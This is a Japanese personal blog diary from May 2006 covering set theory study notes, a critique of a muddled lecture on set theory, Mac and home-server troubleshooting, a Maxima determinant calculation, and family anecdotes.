良く知られているように、論理学や集合論はとんでもの宝庫です。とんでもに関する個人的な考察は以前書きました。
個人的には普通の人(いや！普通じゃないのかも知れないが)がとんでもな理論を考え、それを楽しんで発表することに関して、さほど問題があるとは考えていません。まれに信じてしまう人がいるとさすがにまずい気もしないではないのですが、そのようなことを信じてしまう人は、もともと数学的な思考は不得意で、信じたがゆえに新たな問題が発生する可能性は非常に低いと思うのです。
集合論に関し一番有名なのは区体論でしょうか。区体論の最大の問題は、間違っているとかそういう問題ではなく、「新たな数学的展望を全く与えてくれそうにない」ということにつきると思います。この言葉は余り使いたくないのですが、要は「全く役に立たない」のです。もちろん作者の発表の仕方や過激な態度に問題が多く、それが有名になる最大の原因であることは分かります。正則性の公理(追加すると矛盾が発生しにくくなると主張している)に関する勘違い等はその一例です。
区体論自身を真面目に検証するなどということは、時間の無駄であると思いますし、そもそも私の能力では不可能です。ただし著者自身はなかなか切れ味が鋭い面もあるように思えます。例えば「準関数」(実質選択関数)という概念を使用し、存在記号を定義している部分(Part 3 の後ろの方)がありますが、もしブルバキの τ 記号を知らずにこのような記法を考えついたならたいしたものです。もちろん私自身区体論に何ら賛意を示すものではありません。
それよりももっと問題が多そうなのは、例えば http://www.transrec.jp/gmi_net → 「研究業績」→「医科学のためのシステム論」の PDFファイルにおける「集合論入門」なる章で、元の論文自体はなにやら「東京大学医科学研究所において行われた教授就任講演の内容」で「放射線科学 Vol.45 No.1 2002, pp13-23に掲載」されたそうなのです。
もちろん数学の専門でない人が素朴集合論について語る内容に目くじらを立てる必要もないのかも知れませんが、それなりの大学に属していると思われる「研究所教授就任講演」で「学術雑誌に掲載された」となると、区体論等に比してはるかに問題が多いような気がします。細かい点を指摘するときりがないのですが、いくつかつっこみどころを引用します。
現代の集合論に相当する理論を論理学に適用し始めたのは20世紀初頭に活躍したラッセルやホワイトヘッド等の哲学者たちでした.また,フレーゲやツェルメロなどの数学者たちが集合論を,基礎数学の道具として整備しました.ブルバキと呼ばれる数学者の集団によって体系化された現代集合論は,すでに現代数学の強固な基礎となっています.
ブルバキが現代集合論を体系化？
お節介かもしれませんが,⊆という記号は,「含む」と読みます.∈という記号は,「属する」と読みます.⊆という記号の左辺にあるのは,必ず「集合」です. 属するという記号の左辺にあるのは,必ず集合の「要素」です.この違いを無視すると,いろんなパラドックスが起きますから...
同情の余地ありですが、BG集合論だと逆っぽい感じ。まあこれはいじめすぎですね。それよりお節介かもしれませんが「含む」という言葉は混乱を招き良くないと思います。「部分集合である」と言うべき。それからパラドックスですか...。そりゃ$\subset$と$\in$を間違えれば何でもありでしょうが、ちょっとレヴェルが低すぎませんか。
集合論と数学(代数)そして情報処理とは,その基本法則が全く等しい(同型である)のです.
全く意味不明です。
その後アリストテレスが登場したり、さらに「構造」の概念の説明を行っているつもりらしい箇所もあるのですが、定式化がめちゃくちゃで、結局のところ集合のことは全く分かっていない事実が白日のもとにさらされるのです。その他多数の混乱が見られるのですが、この著者は「研究所教授就任講演」という公的な場所で、全く分かっていない中途半端な集合等の知識(知識とも言えないかな)について得意げに「集合論入門」などと称し「解説」しているのが大きな問題なのです。どうせ知らない人ばかりだと考え、甘く見ているのでしょうか。もしそうでしたら研究者としての資質に多大な疑問を感じます。
一般の人が自分のホームページに好きなことを書くのとは訳が違います。ちゃんとした講演でしたら、いくら他分野に関する事柄であっても、きちんとした調査と正しい認識が必要であると思います。このような部分が講演全体の一部とはいえ存在すると、講演全体の質が信用出来なくなるのは当然です。
隠れとんでもです。
＃世の中こんなもんなのかなあ...。

2006年5月30日(火)

黒マックの誘惑
もちろん新しい MacBook の話なのですが、まさか iBook の後継機が dual core で発売されるとは思いませんでした。しかもお値段が手頃。会社で白マックを購入された方がいまして、ちょっと触らせてもらったのですが、十分すぎるほどの速度です。私は描画速度を要求しない人なので、MacBook が Pro に比較し描画系で劣ることに関しては余り問題ありません。iBook と違いデュアルディスプレイも出来るそうだし。銀マックに 1G のメモリーを搭載するより黒マックに 2G のメモリーを積んだ方が快適かも知れません。
さらに今の 12inch の PowerBook でさえ重いのに、15inch の銀マックを購入した場合、果たしてあんなに大きいのを毎日持ち歩けのかという問題が生じます。持ち歩くことに関しても黒マックが有利です。
うーん悩ましい。
ただし個人的に黒マック最大の難点は銀マックに比較してキーボードがいまいちということで、新しくノート PC を購入した場合最低三年間(二女が大学卒業するまではもう無理)は使用する必要があるので、入力が快適かどうかは極めて重要な要素です。
うーん悩ましい(笑)。
購入するにしても半年後(今の PowerBook 購入から二年経過)以降の話ですので、じっくり考えることにします。その頃には 64bit 化した MacBook Pro が発売され、さらに物欲をそそる状況になっているかも知れませんが、現在の状況で黒マック最大の難点は
たかたにさんにじまんできない
ということなのです(^^。

2006年5月29日(月)

続・関数ってなあに
実は思いのほか反響が多く驚いています。何か気の利いたことを書きたいところですが、少々混乱しておりましてすぐにはまとまりません。もう少しお待ちください。
ご意見・ご指導ありがとうございます。

2006年5月28日(日)

よくありそうな間違い
任意の集合の整列可能性から選択公理を導くとき、「(空でない)各集合を整列して最小元を選べば良い」と思っている人って案外多そうな気がします。実は私自身学生時代はそう信じていたようなふしがあるのです。
上の論法は各集合の整列順序構造を「選ぶ」段階で選択公理が必要となるので循環論法になりそうです。正しくは「『各集合』の合併上の整列順序を考え、その部分集合として『各集合』に導入された整列順序に関する最小元を選ぶ」で良いと思います。

2006年5月27日(土)

関数ってなあに
モカちゃんが突然「関数ってなあに」と聞いてきたのです。関数ですか...。困りましたなあ。はてさてどうやって説明すれば良いのだろう。前提条件として集合を持ち出すと却って分かりにくくなりそうだし、そもそも集合の話を始めるとどんどん話が膨らんで行きそうな自分が恐ろしい(笑)。
そんなこんなで悩んでいたらモカちゃんから強烈なつっこみが。
パパほんとは分からないんだ(^^。
いや！少しは分かっているつもりなんですが、こういうのを子供に分かりやすく説明するのは本当に難しいです。なかなか良い説明が思い浮かばないのです。仕方がないので思いついたまま、実際はもう少し会話的でしたが、内容的には次のように答えたのです。
二乗するという「機能」を考える。例えば 2 を二乗すると 4、3 を二乗すると9。一般に数を二乗するとまた確定した数になる。モカちゃんは今まで算数や数学で扱う「もの」は数や図形だと考えていたと思うけれど、このような「二乗する『機能』」を一つの「もの」と考えたものを関数と言う。
同様に「一を加える」とか「二倍する」という「機能」を「もの」と考えれば一つの関数が得られる。図形に対してその面積を考えることを一つの「もの」と考えるのも関数。
ここで「何のことか全然分かんないよ」とストップがかかり、以降の説明は断念したのですが、いやはやどのように説明すれば良いのだろう。一番良いのは、「いずれ分かるであろう」と放置しておくことかな。子供というのは知識を論理的な順番ではなく、直感的に循環論法もいとわず「一気に」習得すると思われるので、その辺りの折り合いをつけるのが大変なのです。
さらに難しいのは、そもそも子供というのは先生が説明すると真面目に聞くのですが、親の説明は真面目に聞かない場合が多いということです。まあこればかりはどうしようもないです(笑)。
(関連項目)
続・関数ってなあに
 関数について

2006年5月26日(金)

健康診断
今日は健康診断。昨年より状況は良くなり、大体問題なしという結果でした。昨年血糖量が若干高かったので、この一年間食べる量を減らし、4Kg ほどやせたのが良かったのかもしれません。ただし例年通り白血球数が異常に多く 14000(8500 以下が正常)でした。本来ならば要精密検査(E)らしいのですが、「20年間この値ですが特に問題なく生きてます。」と言ったところ、要観察 (C)に格下げしてもらえました。
そうそう！例年の行事でモカちゃんに提出物の代理採取をお願いしたのです。驚くべきことに昨年までの要求金額は百万円だったのに、今年はたったの千円(笑)。現実感が出てきました。やはり月千円ちょっとのお小遣いでは経営が大変なのかも知れません。お小遣い以外にも必要に応じて結構上げてるんですが。
＃千円の要求に一瞬血迷いかけましたがさすがに自分のを提出しました(^^。

2006年5月25日(木)

コーエンの本をぼちぼち
最近の平日はぼちぼちコーエンの本を読んでいます。完全性定理のあたりまで読みましたが、この定理の証明は何度読んでもだまされたような気がします。というか少なくとも表面的には「こんなに簡単で良いの？」という感じ。
そうは言うものの、理論が無矛盾であればモデル(理論の実体)が存在するという事実は本当に素晴らしいと思います。数学者も論理を通じて具体的な対象を扱っているということを実感させられる定理です。ゲーデルの業績では不完全性定理が特に有名ですが、本当は完全性定理の方が深い内容を表現しているのではと思えるほどです。
余談ですが、購入して数日間は値段が値段だったので、もったいなくて持ち歩けませんでした。でも最近はそんなことどうでもよくなって鞄に入れて持ち歩いています。
＃訳者が内容に関してではなく、コーエンの哲学に対して反論する
＃注釈がちとうるさい。正直言って訳者の哲学には関心がないので。

2006年5月24日(水)

子供のお使い
昨日までの出張で GPS を使用した時刻合わせを検証する必要が生じたのです。 GPS で時刻合わせする場合、位置推定方式と位置固定方式というものがあります。位置推定方式の場合、現在の位置を入力する必要はないのですが、3次元+ 時刻ということで、GPS衛星を4つ以上捕捉する必要があります。一方位置固定方式の場合、GPSの衛星を一つだけ捕捉すれば良いのですが、事前に位置情報をGPS受信装置に教える必要があります。
今回はGPSの捕捉が難しい場所だったので位置固定モードを使用しました。緯度経度情報は、一緒に行った私と同じ大学出身で物理学理学博士の M さんに事前に調べてもらい、その場で入力する段取りだったのです。そしていざ入力段階になり M さんからメモをもらったところ、次のように記載されていたのです。
```
緯度  35°1' 3''
経度  139°4' 5''
```
そして入力する私が作ったプログラムが読み込むファイルには
```
LATITUDE=N3540.1324
LONGITUDE=E13929.3412
```
という感じの記述があったのです。ところがいまいち変換単位が分からなかったので「Mさーん、どういう風に入力すればいいの？」と聞いたところ、「まんまで大丈夫ですよ！」ということだったので、私が入力した値は次の通り。
```
LATITUDE=N3513.0000     # 35°1' 3''
LONGITUDE=E13945.0000   # 139°4' 5''
```
なんか小数点以下が全部ゼロになって変だなと思わないではなかったのですが、「そのまんま」で良いということなので、この状態で計測を開始したのです。
ところがちっとも時刻が合わないのですよこれが(笑)。
この期に及んでも私は「M さん変ですよ！座標間違えていません？」なんて人を疑っていたのですが、設定をちらっと見た M さんいわく。
かがみさん。いくらなんでも分と秒は二桁なんですからゼロを省略しちゃだめですよ。
と怒られてしまいました。そうか！数字の上に付いてるプライムやセカンドは分と秒だったのね。「そのまんま」と言われた瞬間思考の対象から抜けました。というわけで正しく
```
LATITUDE=N3501.0300     # 35°1' 3''
LONGITUDE=E13904.0500   # 139°4' 5''
```
と入力し直したところ、正しい時刻が得られるようになったのですが、いやはやいくら「そのまんま」と言われても、全く内容を解釈しないのでは子供のお使いと変わりないです。

2006年5月22日(月)

出張
今日から明日にかけて一泊二日でつくばに出張です。

2006年5月21日(日)

Mac mini ではまる
実は今おうちに Mac mini があります。もちろん最新のものではなく Power アーキテクチャーなのですが、会社でPCをたくさん持っている方が一年ほど前に購入し、未開封だったものをとても安く譲って頂いたのです。メモリー256M バイト、ディスク容量40Gバイトのものです。
譲って頂いた理由はそろそろおうちのサーバーの寿命が近そうだからです。徐々にサーバーとしての環境を整えようと考えているのですが、実際の運用でキーボードとディスプレイは繋がないので、Aqua(Mac OS/X の GUI)は必要ありませんし、無駄にメモリーを消費するだけだと考え、とりあえず実験として生の Darwin を導入してみることにしたのです。まずこちらのページから Darwin 8.0.1 ppc の ISO イメージをダウンロードしてCD-ROMに焼き込むことから作業開始です。その後実質新品の Mac mini にご家族様 PC で使っているディスプレイとキーボード・マウスを接続し初めてのブートです。さすがに一度位は Mac OS/X(Panther)を立ち上げないと申しわけない気がしたので、 CD-ROM を挿入しないで起動し、30分くらい遊んでから Darwin のインストールを開始しました。
ところが CD-ROM からブートはするのですが、インストールしようとすると全部書き込みエラーになってしまうのです。CD-ROM ブート直後シェルに落ちる方法があるので状況を確認したところ、インストールを試みたパーティションが(root でも)書き込み禁止になっていました。というか /dev/disk0s1,...,/dev/disk0s10 位まで色々あってどこにインストールすれば良いか分からないのですよ(笑)。仕方ないので無謀にも fdisk(Mac にもあるとは知らなかった)で適当にいじって再度挑戦したところ、インストール(ファイルのコピー)自体は問題なく完了したのですが、ちっともブートしません。
完全にはまりのモードに入ったようです。
色々実験して結局半日くらいはまっていたと思うのですが、さすがに疲れてきまして、Web を探索したところ Darwin 7.0.1 の具体的な導入例が見つかりました。そこで 7.0.1 の CD に焼いて再度挑戦です。ところがこんどは CD からさえもブートしません。
さすがに嫌気がさして本日は作業を中止することにしたのですが、「このままの状態で放置するのも可愛そう」ということで、Mac OS/X を再インストールしたのです。ところがこんどは
「このディスクには Mac OS/X はインストール出来ません」
という感じのメッセージが表示され一瞬青くなったのです。幸いにしてインストーラーから Disk Utility を起動して再フォーマットしたところ、後は問題なく進行したのですが、いやはや一時は再起不能にしてしまったかと思いました。
いずれにしても一度じっくり作戦を練り直す必要がありそうです。というか　 Mac OS/X そのままで使おうかという安易な考えに傾いてきたのも事実です。 OS の更新で使用する必要がありそうな画面とキーボードは VNC でなんとかなりそうだし。メモリー不足がやや心配ですが、画面を長期間アクセスしなければどうせスワップに落ちるのでなんとかなるのでは。現行のサーバーも前回のトラブル後はしごくご機嫌が宜しいので、しばらく猶予がありそうです。慎重に考えることにします。

2006年5月20日(土)

モカちゃんの体育大会
今日はモカちゃんの中学生始めての体育大会の日だったのです。お天気が心配だったのですが、幸い朝から持ち直し、予定通りの開催となりました。リレーの選手となったモカちゃんが頑張ったからかどうか分かりませんが、結果は総合優勝でした。仲間同士で大泣きしたそうな。
一日で真っ黒に日焼けしたモカちゃんですが、帰宅後ちょっと体がだるいというので熱を計ったところ、37度2分ほどありました。日焼け熱だと思います。だるいと言ってる割に、ネットで優勝じまんしているのはもちろんです。

2006年5月19日(金)

自宅サーバー崩壊近し
本日未明自宅サーバー(FreeBSD/R30)に ssh でログインしようとしたのですが、 connection refused となってしまいログイン出来ません。試しにPowerBookからホームページ(物理的には直近ですが)へアクセスしても全く応答がないのです。むむむのむ！どうしたのだろう、とふたを開けて画面を確認したところ次のメッセージが大量に出ていたのです。
```
spec_getpages:(#ad/0x20006) I/O read failure: \
               (error=6) bp 0xca420578 vp 0xd6630 b40
               size: 0, resid: 0, a_count: 8200, valid: 0x0
               nread: 0, reqpage: 0, pindex: 0, pcount: 3
```
あややや、またディスク不良ですか。いやだな～と思いつつコンソールからログインしようとしたのですが、ログイン出来ません。というか何回かログインを試みていたら勝手にリブートしました(笑)。仕方がないので、お願いだから立ち上がって下さい、と祈りつつ待っていたら幸い fsck も正常に完了しログインすることも可能になったのです。
ただし起動直後に下記の様な不吉なメッセージが。
```
ad0: WRITE command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
```
現在はなんとか動作しているのですが、本日夕方からのログとか受信メールも消滅していました。ただしメールは再受信出来たようです。/var/ 以下が特にやられたような。ディスクのセクター不良という感じではなく、コントローラーもしくはメモリー関連の問題のような気がします。
その後、
```
# cat /dev/ad0 >/dev/null
```
を実行したところ、これは問題なくパスしました。当面大丈夫かも知れません。 R30は購入してから4年半で一年間はメイン機として使用し、その後三年半サーバーとしてノンストップです。非常に頑張っているとは思いますが、さすがにそろそろ代替機を準備した方が良いのかもしれません。ホームページとメールだけならともかく、その他CVSや写真サーバー等の用途もあるので。
＃本当に壊れちゃった場合は当面レンタルサーバーに退避するかも知れません。
＃お隣の X24 は 180MHz 動作ですからねえ(笑)。

2006年5月18日(木)

余因子展開を教えてもらう
先日の行列式ねたですが、Sさんからつっこみがありまして、こういう場合余因子展開を使えばもっと簡単であることをLaTeXソース付きで教えて下さりました。

なるほど！これだと手計算でも出来そうです。実を言いますと余因子展開(大学の時習った先生は「とりつめ行列展開」と言ってた) らしきものは思い出したのですが、おとといの段階では逆行列を求めるときしか使えないと思い込んでいたのです(愚)。
こんな基本的な事実も忘れてしまっているとは全く情けない。というより計算した経験が一度もないという方が問題なのかも知れません。学生時代は「線型写像の特殊な基底に依存した表現なんて不純だ」と思ってましたから。といいますか代数の最初の方はブルバキで勉強したので、可換環上のModuleの特殊な場合が線型空間という認識だったりしました。今になれば、このあたりもっと柔軟に考えてれば良かったのは分かるのですがねえ(笑)。
貴重なご助言ありがとうございました。

2006年5月17日(水)

「コーヘン・連続体仮説」届く
本日届いていました。あたりまえですが古典的な雰囲気。さらに連続体仮説の ~~独立性~~否定の無矛盾性の話だけ書いてあるのかと思っていたら、ZFCの体系・完全性定理・不完全性定理・ゲーデルのL等、歴史順に記述されているのは予想外でした。
それにしてもP.Cohenの最初のアイディアからたった数年で、驚くほど代数化が進んだものだと感じます。「示標空間」の要素というのはココロとしては名称で、「限定陳述」は$Delta_{0}$論理式のことらしい。ざっと眺めただけなので間違っているかも知れません。
「今の知識」があれば何について書いてあるのか大体見当がつくのですが、知らないで読んだらちんぷんかんぷんであることは間違いありません。全体的に読み物風な記述なのですが、紙とノートなしできちんと理解するのは無理です。一通り眺めたらしばらく本棚の飾りにして、もう少し知識が増えた段階で読み直すと面白いかも知れません。

2006年5月16日(火)

行列式で大混乱
会社でHさんが「かがみさん、4次の正方行列の行列式を簡単に求めるのってどうするんでしたっけ？」と聞きにきました。4次の行列式と言われてもそんなの計算したことないのに困ったな～、と思いつつとりあえず次の提案をしたのです。
ほら！2次や3次のときみたいにたすきに掛けて足したり引いたりすれば(殴)。
ところが案の定「仕事で使うんだから真面目に答えてください！」と怒られてしまいました。やはりうそだとばれてしまいましたか。いや～信じられちゃうととても困るのですが。
仕方がないので(すごく面倒になっている)、「すべての4次の巡回に対して乗算を行い足したり引いたりすれば」と提案したのですが、「それが面倒だから聞きにきたんですよ」とまたまた怒られてしまいました。実を言いますとこの段階ではやり方を思い出せなくて、必死になって考えつつ時間稼ぎをしていたのです。
やっと「特定の行なり列を定数倍して他の行なり列に加算しても行列式の値は不変である」という事実を思い出し、上半三角行列に変形する方法を説明したのですが、Hさんはそれでも面倒そうな雰囲気なのです。そこで「これが面倒ならば何らかの特殊性がない場合コンピューター使わないと無理ですよ」と答えたのですが、Hさんは「要素が数値ではなく数式なんでさらに面倒なのです。」と言うのです。
「それなら40万円位予算を取って Mathematica でも買えばよいのでは」とまたまた無責任な回答をしたのですが、彼にとっては意外だったらしく、「式のまま計算できるソフトがあるのですか？」という反応があったのです。さらにうまいこと私のPowerBookに Maxima がインストールされていることを思い出し、「じゃあやってみましょう。入力する式を書いて持ってきて下さい。」ということになったのです。
行列を表現する方法と行列式を求める方法を調べて入力したのが次の結果。
```
(C1) determinant(matrix([a, b], [c, d]));      ← 練習
(D1) a d - b c                                 ← よさそう
(C2) determinant(matrix(                       ← 読み上げてもらい入力
        [omega^2, 2*h*omega,           1,                 0],
        [      0,         1,     alpha*t,       (1-alpha)*t],
        [      1,         0, -beta*(t^2), -(1/2-beta)*(t^2)],
        [      0,         0,           0,                 1]));
                 2  2
(D2) - BETA OMEGA  t  + 2 ALPHA h OMEGA t - 1  ← よさげなそうな
```
うーむ、遊びに使ったことはありますが、始めてMaximaが実用的な用途で役に立ちました。それはともかく上の式を見るとほとんど上三角行列になっていて、一番左の 3行目の 1 だけ真面目に考えれば良いのでは(笑)。そうはいっても手計算だと間違えやすそうなのも事実です。いったい何の式なのだろう？
とにもかくにも面目を保ち、Hさんも「こんど私もMaximaをインストールしよう」と満足された様子だったのでした。

2006年5月15日(月)

二女帰宅する
大学一年になったばかりの二女ですが、先週の金曜日から部活の遠征で北海道へ旅行していました。まだ新米なので試合には出られないのですが、お手伝いということで一緒に連れて行ってもらったらしいのです。
選手だと自腹を切らなければいけないのに、二女の場合は「試合に出ないので」飛行機代と宿代は部費から出るそうな。ちょっと得した気分です。
本日未明零時過ぎに藤沢駅に着いたのですが、うれしいことにおみやげを買ってきてくれました。有名な白い恋人。事前にお餞別を上げたのが功を奏したのかも。いやいや決してメールで要求をしたなどどいうことは、ほんの少しあるかも知れません(^^。

2006年5月14日(日)

L と Diamond
[集合論雑記目次]
今後集合論雑記に詳細な証明を記載することは少なくなると思います。勉強記録とか覚え書きとかそんな位置づけです。
いつまでもさぼっている訳にはいかないので、先週からゲーデルの $L$ の初歩的な部分の勉強をしていました。本当は forcing の勉強で「選択公理の否定のZFからの無矛盾性」の部分を読んでいたら、 $\mbox{HOD}$ の概念が必要になったのでそのついでだったのですが。
$L$ の定義は一見分かりやすく、案外簡単に分かるであろうと考え、先週の土日位で終わらせるつもりだったのは甘かったのです。スコーレムの定理・反映の原理や内部モデルのごく基本的な事実も必要なのにしっかり忘れていたし。
興味深かったのは、不完全性定理の証明でも似たような構成があったと思うのですが、「ごく基本的な関数」の組み合わせで $\Delta_{0}$ 論理式による構成を表現し、最終的に $L_{\alpha}$ を構成している部分です。 $\Delta_{0}$ というのは $\omega$ の世界での原始帰納的関数みたいなもの ( そして $\Delta_{1}$ が帰納的関数 ) ですから、類似性が生じるのは当然なのでしょうが、初等的な事実(不完全性定理だって証明は初等的だ！)から深い内容を導きだすゲーデルの洞察に改めて驚くばかりです。
$(\mbox{Jensen's~}\Diamond\mbox{~principle})$ $\omega_{1}\mbox{~sequence~}~(S_{\alpha})_{\alpha<\omega_{1}}$ が存在して次の条件を満たす。
(1) $S_{\alpha}~\subset~\alpha$
(2) $X~\subset~\omega_{1}$ のとき $\{\alpha<\omega_{1}\,~:\,~\alpha~\cap~X~=~S_{\alpha}\}$ は $\omega_1$ の定常集合。
そして $L~\,|=~\,\Diamond~\mbox{~principle.}$ (2)により $(S_{\alpha})_{\alpha<\omega_{1}}$ は可算集合に関する情報を大量に持っているので、真面目に考えなくても $L$ で $\mathcal{P}(\omega)~=~\omega_{1}$ が成立するのは当然な感じがする(証明も簡単)。実際 $\Diamond$ を持ち出すまでもなく $L\,|=~\,~\mbox{GCH}.$
圧縮レンマで使用する $\mathrm{\Pi}_{2}$ 文の定義は私の所有している文献に具体的な記述がありません。もしかして「周辺の条件が成立する」事実をコード化した感じなのかも。当分この事実に関してはそういうものだと考えることとします。
$L$ や $\mbox{HOD}$ に関してはもう少し整理出来たら何か書くかも。
全部が問題なのですが、今後特に問題になりそうなのが、実数の Topology, Borel, Lebesgue-measure 等に関する勉強不足。Tree のことも全部忘れているし。さらに一番大変そうなのが Ramsay 関連。
そもそも学生時代も層の理論とか Scheme(Spec(A)の開集合を張り合わせて作った層・代数多様体を抽象化したもの)を、具体的な複素多様体とかこれまた具体的な Elliptic curve とかの知識不足な状態で勉強していたら、直感的な裏付けが乏しくなってきて分からなくなってしまったのです。今度はその轍を踏まないようにしないと。具体的でごちゃごちゃした部分をおろそかにすると必ず後で行き詰まるのです。

2006年5月13日(土)

懺悔

昨日会社のHさんが来て「かがみさん私は罪を犯しました」と言うのです。事情を聞いたところ、なんとふろしきだか座布団のおまけに目がくらんで、サントリー (Wikipedia東北熊襲発言の項) のお茶を 6つも買ったとのこと。

かがみえーそんな大罪を...。そりゃいくら懺悔しても罪は消えませんよ。

Hさん両親がおまけを欲しいって言ってたので。

かがみ済んでしまったことは仕方がないとして、ちゃんと中身は捨てたんでしょうね。

Hさんそれが全部飲んじゃったんですよ。

かがみそれはまずい！！サントリーの飲料を飲むと脳が腐ります。東大出身理学博士の才能もこれでおしまいです。

Hさんえ～～～。

かがみところでふろしきってどうして六種類もあるの？

Hさん松竹梅なんです。

かがみそれなら三種類じゃない？

Hさん松竹梅ごとに色違いで二種類あるんです。

かがみそうですか。ところで松竹梅って言えば中国の奇書にそんなのがあったような...。

Hさんそんなの知りませんよ。

かがみほらもう脳が腐り始めている...。あっ間違えた！金瓶梅だ(笑)。

その後は金瓶梅の話になったのですが、ものがものだけにここに内容は書きにくいのです。

いずれにしてもサントリーという会社はまともな商品を作れないので、ついにおまけで人をだますようになりましたか。極悪です。

関連項目「くまそはにわ」

2006年5月12日(金)

モカちゃんけがする
家に着いたらモカちゃんが「パパーちょっとこれみて～」と言うのです。何のことかと思ったら、膝に大きなすりむき傷が。話を聞くと体育の時間にリレーの練習をしていたとき、次の走者にバトンを渡そうとした瞬間に転んでしまったそうで、とってもとっても痛そうなのです。
もちろん病院に行くほどの怪我ではないので、学校の保健室で消毒して、ガーゼで治療した程度なのですが、ほんとにこの子は生傷が絶えませんなあ。大分暖かくなってきたので、痛みよりもお風呂に入れない方が大変そうです。ネットで怪我じまんをしていたのは言うまでもありません。

2006年5月11日(木)

続コーヘン・連続体仮説
買っちまった(^^。
明倫館書店[ご注文メール]
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ISBN : 4489003390
書名 : 連続体仮説
副題 : Ｓｅｔ　Ｔ
著者 : P.J.コーヘン著　近藤基吉他訳
出版社 : 東京図書
発行年度 : 1991年　新装版　1刷
判型、装丁 : Ａ5
書籍代 : \12,000
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どうでもよいはなし
本当にどうでも良い話なのですが、普通に数学を習っていると、集合の合併は $X\cup{Y}$ とか、数が多い場合は $\bigcup_{i\in{I}}{X_i}$ と書かれることが一般的だと思います。初めて $\bigcup{X}$ を見たとき案外分かりにくかったのです。最初の二つのイメージは「寄せ集めたもの」という感じですが、最後のもののイメージは、シャボン玉の中にシャボン玉がたくさん入っていて、さらにその中にたくさん...。という状況で、中に入っているシャボン玉の一番外側がぱちーんとはじけた感じです。
$\bigcup(\alpha+1)~=~\alpha$ なども、合併を取ると小さくはならない気がしていたので、最初は結構悩んだのでした(笑)。
(おまけ) $0$ でない自然数に対して $\bigcup$ は $1$ だけ引き算をする演算子←今気がついた。そういう意味で $0$ は limit ordinal と考えた方が自然なのかも。

2006年5月10日(水)

コーヘン・連続体仮説
先日会社のHさんとインターネット古書のページを眺めていたら、なんと「コーヘン・連続体仮説」なる文字が目に入ったのです。コーヘンというのはもちろん P.Cohen のことで、こんな本が訳されていたとは全く知りませんでした。時代的には学生時代本屋さんとかで見たことがあるはずなんですがねえ。
とっても欲しいです(笑)。
でも残念ながら即座に売れてしまったようです。さらに調べたところなんか楽天のオークションに7,700円位で出ているようなのですが、さすがに楽天に会員登録する訳には行きません。Yahoo!!のオークション使っているじゃないか！というつっこみもあるかと思いますが、個人的には Yahoo!! まではなんとか耐えられても、楽天となるとさすがにまずい気がするのです。サラ金からお金借りるのと同レヴェルという感じでしょうか。
原書(Set theory and the continuum hypothesis) の方を調べてみたところ Amazonにusedが一冊出品されているようなのですが、$125というのはさすがにちと高いです。いずれにしてもこまめにチェックすれば、入手出来るチャンスもあるかも知れません。気長に待つことにします。

2006年5月9日(火)

つくば出張
きょうはつくば出張です。

2006年5月8日(月)

二女化学式ではまる
二女がレポート書きをしていたのですが、ワープロで化学式の入力の仕方が分からなくて困っているようでした。要するにこんな感じ (実際にはもう少し難しい化学式だったと思います) の下添字を上手に書けないというのです。

LaTeX使えばいいじゃん！とつっこみを入れたくなるのを押さえて、数式の入れ方を調べたのですが、いやはや世の中の人ってこんな面倒な入力方法で、さらに苦労した割にはとっても見栄えの良くない数式や化学式を印刷していたのですか。
私の場合も計測関連の仕事柄、お客様から数式付きの仕様書を頂くこともあるのですが、ほとんどの場合つっこみどころ満載なのです。それはともかくとして、自分が提出する書類で見栄えの良くない数式を書くのは我慢ができません。仕事でもほとんどの書類はLaTeXで作成するので問題ないのですが、たまに特定ワープロフォーマット提出指定のお客様もいらっしゃるのです。
私のワープロドキュメントは基本的にテキストファイルの拡張子を .doc に直すだけなので、「通常のワープロだととっても見栄えが悪くなりますよ～」と脅迫するのですがなかなか理解して頂けません。それでも数式の見栄えが良くないのは我慢出来ないので、事前に文書で必要な数式を含むPDFファイルを LaTeX で作成し、それを切り取り小さいPDFなり画像に変換していちいち文書内に埋め込む作業をするのです。通常の数式やギリシア文字はもちろんのこと、例えば数式としての一文字だけの $A$ とか $x$ もいちいち埋め込むのでとっても時間がかかるのです。
人力 mimeTeX です(笑)。
市販のワープロソフトも HTML での mimeTeX の様に、何らかの「コマンド+ LaTeX」の文法を受け付け、さらにLaTeXと同等の見栄えを実現してくれればもう少し使う気にもなるのですが、なかなか難しいのが現実であるとは感じています。
余談ですが、LaTeXで作成したPDFの仕様書をお客様に納品すると、「なかなか見栄えが宜しい」とほめられることもあるのです。ところが「ちょっと自分たちで直したいので元ファイルも下さい(ワープロで作ったと思い込んでいる)」と言われた場合、「本当に大丈夫ですか？」と確認してLaTeXのソースを渡すのですが、たいていの場合お客様はびっくり仰天されるのです(笑)。
＃次の年から「仕様書はMS-Wordで納品すること」なんて制約が入るとやだな...。

2006年5月7日(日)

連休最終日
五日間の連休も今日で終わりです。なんか数学三昧の生活をしていたような。その割に進んでないけど。それはそうとたいしたことないのですが、モカちゃんが風邪をひいてしまったようです。どうせなら連休の最初の方に罹ればよかったのに。いやいや！遊んでから病気になる方が本人としては得なのかもしれない(笑)。連休中、友達とカラオケとかに行ってたようなので、そのときもらってきたのかも知れません。
明日から仕事なのですが、何をしなきゃいけないのか忘れてしまいました(笑)。残件がたくさんあったような...。今日は気にしないで会社に行ってから思い出しましょう。

2006年5月6日(土)

インターネットからの贈り物
「連続体濃度がアレフ２より大きくなって欲しくない理由」をとても興味深く読ませて頂きました。実はここ数日、これからの集合論の勉強の方向性に関して悩んでいたのです。つまり基本的な事柄の理解は重要なのですが、当然ながら総括的に勉強する能力も時間もないのです。従ってなんらかの目標を決めて、それに必要なパーツの理解を進める方向にしようと考えてはいたのですが、肝心の具体的な目標がなかなか定まらなかったのです。
ところが本日上のリンクを読ませて頂き、手持ちの本を調べてみたところ、 JechのSet Theory 609ページに
Theorem 31.23(Todorcevic and Velickovic). $\mbox{PFA~implies~}~2^{\aleph_0}~=~\aleph_{2}.$
なる魅力的な見出しが...。難しいであろうし不可能である可能性が強いことは分かっているのですが、しばらくこの定理を理解するために必要な概念を拾って勉強してみたいと考えています。具体的には、強制法の初歩の初歩程度は理解したつもりなので、そちらの方面をさらに進めることから始めたいと思います。
私のような趣味と好奇心で勉強しているものにとって、ネットからの刺激はとても重要です。学生時代は勉強することが義務ですし、当然周りからの刺激も多いので、自分が進むべき方向性を決定するのは比較的容易な場合が多かったと思います。ところがそのような環境にないと、いくら興味があるし好きであるとは言っても、分からない部分を理解するにはそれなりのストレスもあるので、モティヴェーションを持続させるのが非常に難しいのです。インターネットの普及で、「昔勉強したことをもう一度やり直してみよう」と考え実行している人は私だけではないと思います。
